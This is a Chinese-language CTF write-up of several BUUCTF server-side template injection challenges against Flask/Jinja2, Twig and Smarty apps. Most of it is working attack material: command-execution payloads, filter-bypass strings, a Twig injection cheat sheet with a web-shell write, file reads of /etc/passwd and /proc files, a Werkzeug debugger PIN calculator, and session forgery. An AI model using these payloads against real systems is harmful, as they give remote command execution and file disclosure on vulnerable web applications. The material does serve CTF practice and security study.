buu SSTI
buu SSTI
[CSCCTF 2019 Qual]FlaskLight
查看源码
get传search
有回显 确定是ssti
用脚本去查找可用的子类,参考连接
看看是否有过滤
猜测globals被过滤
采用拼接绕过
发现config可以用
[BJDCTF2020]Cookie is so stable
查看源码,发现file://被禁掉了
flag.php
admin登录
登出,试了{{7*7}}
查看hint.php源码
cookie
抓包测试
X-Powered-By是 告诉网站使用哪种语言或者框架写的‘
本题就是PHP,PHP的SSTI模板是smarty,twig,Blade
twig模板
看了半天没看懂..
paylaod:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
贴一下 twig模板常用注入
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}
[WesternCTF2018]shrine
格式化代码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine():
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
shrine_template = flask.request.args.get('shrine', default='')
return flask.render_template_string(safe_jinja(shrine_template))
if __name__ == '__main__':
app.run(debug=True)
黑名单绕过 config,self
第一个路由 使用 open
函数
第二个路由访问 /shrine
replace函数:讲究的字符串替换成新的字符串
本题将()替换成了空,相当于过滤
又因为flag在config中,所以需要找到配置信息
查看配置信息
查看config
[CISCN2019 华东南赛区]Web11
本题使用smarty模板
这题跟XFF有关
smarty模板
查版本号
{$smarty.version}
使用{php}{/php}
标签来执行包裹其中的php指令
???本题报错
{literal}
标签:将模块区域内的字符原样输出
self
读取文件,新版本中已经不存在
{self::getStreamVariable(“file:///etc/passwd”)}
{if}
标签:可执行语句
虽然但是 执行成功了
[BJDCTF2020]The mystery of ip
查看源码
果然 hint.php源码有提示
好吧跟上一道题同理
smarty模板
[GYCTF2020]FlaskApp
解法一
查看提示源码
存在ssti
解码报错时,会存在pin,需要PIN码
报错时有文件名,路径,出错方法名
render_template函数是jinja2的函数,所以是jinja2模板
先构造payload读取源码
{{url_for.__globals__.__builtins__['open']('app.py','r').read()}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
源码里有waf绕过
查看源码
发现好多过滤
__subclasses__()
为空?查看看不了所有子类啊?
构造payload
{{url_for.__globals__['__builtins__']['__im'+'port__']('o'+'s').listdir('/')}}
{{''.__class__.__base__.subclasses__()[75].__init__.__globals__['__builtins__']['__impo'+'rt__']('o'+'s').listdir('/')}}
{{url_for.__globals__['__builtins__']['open']('/this_is_the_fl'+'ag.txt','r').read()}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
解法二
拿到PIN码获得flag 参考链接
计算PIN码
计算PIN码分六步
1.用户名:
/etc/password
得到flaskweb
或者 root
2.模块名
module name 一般固定位置在 flask.php
3.app名
getattr(app, "__name__", app.__class__.__name__)
的结果是Flask
,该值一般不变
4.路径
flask库下的app.py路径,本题是通过报错信息得到的/usr/local/lib/python3.7/site-packages/flask/app.py
5.当前网络的十进制mac地址
本题是通过文件 /sys/class/net/eth0/address
读取,
6.机器的id
windows系统下对于docker机则读取/proc/self/cgroup,序列号为1那行
1:name=systemd:/docker/8c9b58ed756803d15052dd5f7dc35d106e48f5dbe629ebb1d5494a9f384355af 0::/system.slice/containerd.service
计算PIN值的模板
import hashlib
from itertools import chain
probably_public_bits = [
'运行app用户名',
'module name ',
'Flask',
'flask库下app.py的绝对路径',
]
private_bits = [
'当前网络的mac地址的十进制数',
'机器的id'
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
本题:
{{{}.__class__.__base__.__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}
得到用户名
本题是flaskweb,modname是flask.php,app名是Flask,路径报错得到/usr/local/lib/python3.7/site-packages/flask/app.py
接着获取mac地址
paylaod
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
转换成十进制
152645291343922
获取机器码id
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}
机器码为
ec1a8804fd6f3db5ccc28eb1a92489e314df3b3f4193c82a509bc8661fbbff56
计算PIN码
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',
'flask.php',
'Flask',
'/sys/class/net/eth0/address',
]
private_bits = [
'99113247797394064860',
'ec1a8804fd6f3db5ccc28eb1a92489e314df3b3f4193c82a509bc8661fbbff56'
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
PIN码输入不对
输入正确的PIN码之后可以进行交互shell,命令执行获取flag
[pasecactf_2019]flask_ssti
传参 {{7*7}}
得到49
测试过滤,过滤了 .
,_
,'
构造payload
{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("whoami")["read"]()}}
{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("ls")["read"]()}}
{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("ls /")["read"]()}}
{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("cat app\x2epy","r")["read"]()}}
import random
from flask import Flask, render_template_string, render_template, request
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
# Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
file = open("/app/flag", "r")
flag = file.read()
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3',
'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")
nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]',
'%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
try:
p = request.values.get('nickname')
id = random.randint(0, len(nicknames) - 1)
if p != None:
if '.' in p or '_' in p or '\'' in p:
return 'Your nickname contains restricted characters!'
return render_template_string(nicknames[id] % p)
except Exception as e:
print(e)
return 'Exception'
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
加密后的flag在config里
使用 /proc/self/fd/3
读取, /proc/self/fd/
表示当前进程的目录
/proc
目录,linux内可以通过 /proc
文件系统访问内核数据
/self
子目录,proc/self
表示当前进程目录
fd
目录,包含当前进程打开的每一个文件
在python2中可以用file读取文件,python3可以用 <class '_frozen_importlib_external.FileLoader'>
这个类读取文件,使用get_data
读取文件
payload
{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}
本题使用 <class '_frozen_importlib_external.FileLoader'> scss
来读取flag
payload
{{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[91]["get\x5fdata"](0,"/proc/self/fd/3")}}
[GWCTF 2019]你的名字
{{7*7}}
会报错,但是{7*7}
就有回显
应该是 {{}}
被过滤了,但是 {}
没被过滤
过滤应该不止{}
,比如class
被过滤了
本题的过滤
blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config']
过滤有很多 拼接绕过或者使用 __claconfigss__
绕过
修改paylaod
{%print lipsum.__globals__['__bui'+'ltins__']['__imp'+'ort__']('o'+'s')['pop'+'en']('whoami').read()%}
{%print lipsum.__globals__.__buiconfigltins__['__impconfigort__']('oconfigs').popconfigen('whoami').read()%}
{%print lipsum.__globals__['__bui'+'ltins__']['__imp'+'ort__']('o'+'s')['pop'+'en']('ls').read()%}
paylaod
{%print lipsum.__globals__['__bui'+'ltins__']['__imp'+'ort__']('o'+'s')['pop'+'en']('ls /').read()%}
{%print lipsum.__globals__['__bui'+'ltins__']['__imp'+'ort__']('o'+'s')['pop'+'en']('cat /flag_1s_Hera').read()%}
[CISCN2019 总决赛 Day1 Web3]Flask Message Board 伪造session
info的内容和author的内容一样
info为author的回显内容,title和content的内容回显在网页下面
抓包
与session有关,本题伪造session
将session解码为
访问/admin
传{{config}} 得到secret-key
接着伪造session
传入session,访问/admin
查看源码 要zip file文件
访问
/admin/source_thanos
/admin/model_download
访问model_download,得到一个zip文件
访问sourcr 得到乱的源码
将其还原,网上贴的脚本
import requests
url = 'http://xxx.cn/admin/source_thanos'
r = requests.get(url)
source = r.text
for j in range(10):
r = requests.get(url)
for i in range(len(source)):
if source[i].isspace():
source = source[:i] + r.text[i] + source[i+1:]
print(source)
复原的源码
D:\Pycharm\project4\pythonProject\.venv\ven\Scripts\python.exe D:\Pycharm\project4\pythonProject\hello\hi.py
# coding=utf8
from flask import Flask, flash, send_file
import random
from datetime import datetime
import zipfile
# init app
app = Flask(__name__)
app.secret_key = ''.join(random.choice("il1I|") for i in range(40))
print(app.secret_key)
from flask import Response
from flask import request, session
from flask import redirect, url_for, safe_join, abort
from flask import render_template_string
from data import data
post_storage = data
site_title = "A Flask Message Board"
site_description = "Just leave what you want to say."
# %% tf/load.py
import tensorflow as tf
from tensorflow.python import pywrap_tensorflow
def init(model_path):
'''
This model is given by a famous hacker !
'''
new_sess = tf.Session()
meta_file = model_path + ".meta"
model = model_path
saver = tf.train.import_meta_graph(meta_file)
saver.restore(new_sess, model)
return new_sess
def renew(sess, model_path):
sess.close()
return init(model_path)
def predict(sess, x):
'''
:param x: input number x
sess: tensorflow session
:return: b'You are: *'
'''
y = sess.graph.get_tensor_by_name("y:0")
y_out = sess.run(y, {"x:0": x})
return y_out
tf_path = "tf/detection_model/detection"
sess = init(tf_path)
# %% tf end
def check_bot(input_str):
r = predict(sess, sum(map(ord, input_str)))
return r if isinstance(r, str) else r.decode()
def render_template(filename, **args):
with open(safe_join(app.template_folder, filename), encoding='utf8') as f:
template = f.read()
name = session.get('name', 'anonymous')[:10]
# Someone call me to add a remembered_name function
# But I'm just familiar with PHP !!!
# return render_template_string(
# template.replace('$remembered_name', name)
# .replace('$site_description', site_description)
# .replace('$site_title', site_title), **args)
return render_template_string(
template.replace('$remembered_name', name), site_description=site_description, site_title=site_title, **args)
@app.route('/')
def index():
global post_storage
session['admin'] = session.get('admin', False)
if len(post_storage) > 20:
post_storage = post_storage[-20:]
return render_template('index.html', posts=post_storage)
@app.route('/post', methods=['POST'])
def add_post():
title = request.form.get('title', '[no title]')
content = request.form.get('content', '[no content]')
name = request.form.get('author', 'anonymous')[:10]
try:
check_result = check_bot(content)
if not check_result.endswith('Human'):
flash("reject because %s or hacker" % (check_result))
return redirect('/')
post_storage.append(
{'title': title, 'content': content, 'author': name, 'date': datetime.now().strftime("%B %d, %Y %X")})
session['name'] = name
except Exception as e:
flash('Something wrong, contact admin.')
return redirect('/')
@app.route('/admin/model_download')
def model_download():
'''
Download current model.
'''
if session.get('admin', True):
try:
with zipfile.ZipFile("temp.zip", 'w') as z:
for e in ['detection.meta', 'detection.index', 'detection.data-00000-of-00001']:
z.write('tf/detection_model/' + e, arcname=e)
return send_file("temp.zip", as_attachment=True, attachment_filename='model.zip')
except Exception as e:
flash(str(e))
return redirect('/admin')
else:
return "Not a admin **session**. <a href='/'>Back</a>"
@app.route('/admin', methods=['GET', 'POST'])
def admin():
global site_description, site_title, sess
if session.get('admin', False):
print('admin session.')
if request.method == 'POST':
if request.form.get('site_description'):
site_description = request.form.get('site_description')
if request.form.get('site_title'):
site_title = request.form.get('site_title')
if request.files.get('modelFile'):
file = request.files.get('modelFile')
# print(file, type(file))
try:
z = zipfile.ZipFile(file=file)
for e in ['detection.meta', 'detection.index', 'detect on.data-00000-of-00001']:
open('tf/detection_model/' + e, 'wb').write(z.read(e))
sess = renew(sess, tf_path)
flash("Reloaded successfully")
except Exception as e:
flash(str(e))
return render_template 'admin.html')
else:
return "Not a admin **session**. <a href='/'>Back</a>"
@app.route('/admin/source') # <--here ♂ boy next door
def get_source():
return open('app.py', encoding='utf8').read()
@app.route('/admin/source_thanos')
def get_source_broken():
'''
Thanos is eventually resurrected,[21] and collects the Infinity Gems once again.[22]
He uses the gems to create the Infinity Gauntlet, making himself omnipotent,
and erases half the living things in the universe to prove his love to Death.
'''
t = open('app.py', encoding='utf8').read()
tt = [t[i] for i in range(len(t))]
ll = list(range(len(t)))
random.shuffle(ll)
for i in ll[:len(t) // 2]:
if tt[i] != '\n': tt[i] = ' '
return "".join(tt)
然后是 TensorFlow模型,emmm先留着以后来看